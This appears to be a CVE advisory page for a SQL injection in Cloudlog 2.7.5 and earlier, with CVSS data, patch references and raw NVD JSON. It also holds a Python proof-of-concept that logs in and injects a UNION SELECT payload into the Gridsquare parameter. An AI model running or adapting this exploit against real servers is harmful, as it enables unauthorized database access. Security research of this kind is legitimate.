Security Vulnerability Report
中文
CVE-2025-64084 CVSS 5.4 MEDIUM

CVE-2025-64084

Published: 2025-11-14 21:15:45
Last Modified: 2025-11-19 18:50:31

Description

An authenticated SQL injection vulnerability exists in Cloudlog 2.7.5 and earlier. The vucc_details_ajax function in application/controllers/Awards.php does not properly sanitize the user-supplied Gridsquare POST parameter. This allows a remote, authenticated attacker to execute arbitrary SQL commands by injecting a malicious payload, which is then concatenated directly into a raw SQL query in the vucc_qso_details function.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:magicbug:cloudlog:*:*:*:*:*:*:*:* - VULNERABLE
Cloudlog <= 2.7.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-64084 SQL Injection PoC for Cloudlog <= 2.7.5 # Target: Cloudlog application/controllers/Awards.php # Vulnerability: Authenticated Gridsquare POST parameter injection TARGET = 'http://target-website.com' USERNAME = 'attacker_account' PASSWORD = 'attacker_password' def exploit(target, session, payload): """ Execute SQL injection payload via Gridsquare parameter """ url = f'{target}/index.php/awards/vucc_details_ajax' headers = { 'Content-Type': 'application/x-www-form-urlencoded', } data = { 'gridsquare': payload # Malicious SQL injection payload } try: response = session.post(url, headers=headers, data=data, timeout=10) return response.text except requests.exceptions.RequestException as e: return f'Error: {e}' def login(target, username, password): """ Authenticate to Cloudlog to obtain session cookie """ session = requests.Session() login_url = f'{target}/index.php/user/login' login_data = { 'user_name': username, 'user_password': password } try: response = session.post(login_url, data=login_data) if response.status_code == 200: return session except: pass return None # Example payloads if __name__ == '__main__': session = login(TARGET, USERNAME, PASSWORD) if session: # Basic injection test - extract database version payload = "' UNION SELECT NULL,version(),NULL,NULL,NULL--" result = exploit(TARGET, session, payload) print(f'Result: {result}') else: print('Authentication failed')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64084", "sourceIdentifier": "[email protected]", "published": "2025-11-14T21:15:45.367", "lastModified": "2025-11-19T18:50:31.280", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An authenticated SQL injection vulnerability exists in Cloudlog 2.7.5 and earlier. The vucc_details_ajax function in application/controllers/Awards.php does not properly sanitize the user-supplied Gridsquare POST parameter. This allows a remote, authenticated attacker to execute arbitrary SQL commands by injecting a malicious payload, which is then concatenated directly into a raw SQL query in the vucc_qso_details function."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:magicbug:cloudlog:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.7.6", "matchCriteriaId": "C2C2D20F-EC44-4703-96E6-A6540F69F83A"}]}]}], "references": [{"url": "https://github.com/XY20130630/Cloudlog/security/advisories/GHSA-4r9r-3r3q-jg44", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/magicbug/Cloudlog/commit/72a8c3d705c8629f60f64da9f37968417c980242", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/magicbug/Cloudlog/releases/tag/2.7.6", "source": "[email protected]", "tags": ["Release Notes"]}]}}